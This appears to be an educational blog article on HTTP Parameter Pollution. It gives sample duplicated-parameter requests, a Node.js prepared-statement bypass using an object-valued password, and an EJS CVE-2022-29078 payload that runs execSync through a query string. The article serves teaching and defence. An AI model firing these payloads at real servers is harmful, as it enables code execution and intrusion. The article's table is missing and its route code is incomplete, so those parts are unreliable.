Overview

HTTP Parameter Pollution (HPP) is a web security vulnerability that exploits differences in how web applications process duplicated parameters. This attack technique is often used as a stepping stone to trigger other vulnerabilities or bypass security measures.

What is HTTP Parameter Pollution?

HPP occurs when an attacker sends multiple parameters with the same name to a web application. Different web frameworks, servers, and technologies handle these duplicated parameters in different ways:

• Some take the first occurrence of the parameter
• Some take the last occurrence
• Some concatenate all values
• Some create an array of values

This inconsistency in parameter processing creates security vulnerabilities when applications don’t properly validate input parameters.

How Different Technologies Handle Duplicated Parameters

Here’s how various technologies process duplicated parameters:

Exploitation Techniques

Basic Duplicated Parameters

The simplest form of HPP involves sending multiple parameters with the same name:

POST /save_profile HTTP/1.1

account=15442&account=1110&name=aaa

Array Parameters

Some frameworks also handle array-notation parameters differently:

POST /save_profile HTTP/1.1

account[]=15442&account[]=1110&name=aaa

Real-World Examples

Example 1: SQL Injection Bypass in Node.js

Consider this Node.js login function that implements a prepared statement in its database query:

async function doLogin(id, pw) {
    const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
    if (result.length === 1) {
        return result[0]._id;
    }
}

And a route that doesn’t properly validate input:

app.post('/auth', async (req, res) => {
    const {id, pw} = req.body;
    const isRegister = 'register' in req.body;
    
    await db.doRegister(id, pw)
    return res.redirect('/auth');
}

By sending parameters like:

id=admin&pw[pw]=asdfasdf

The query becomes:

SELECT * FROM users WHERE id = admin AND pw = pw = asdfasdf

This leads to a SQL syntax error that might be exploitable.
This is main idea of Dreamahck Wargame(CProxy-inject)

Example 2: EJS Template Injection (CVE-2022-29078)

The EJS templating engine had a vulnerability when user input was directly passed to res.render():

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log("Example app listening on port ${port}")
})

An attacker could exploit this using HPP with an HTTP request like:

http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//

Prevention Measures

1. Validate Input Parameters: Always validate and sanitize all input parameters.
2. Use Parameter Whitelisting: Only accept expected parameters with expected values.
3. Avoid Direct Parameter Assignment: Don’t directly assign request parameters to database queries or templates.
4. Use Framework Security Features: Many frameworks offer built-in protection against parameter pollution.
5. Implement WAF Rules: Configure your web application firewall to detect and block suspicious parameter patterns.

Conclusion

HTTP Parameter Pollution is a subtle but powerful technique that can lead to serious security vulnerabilities. Understanding how your technology stack handles duplicate parameters is important for building secure web applications. Always implement proper input validation and consider HPP as part of your threat modeling process.

Remember that HPP is often used as a stepping stone to trigger other vulnerabilities, making it particularly dangerous when combined with other attack techniques.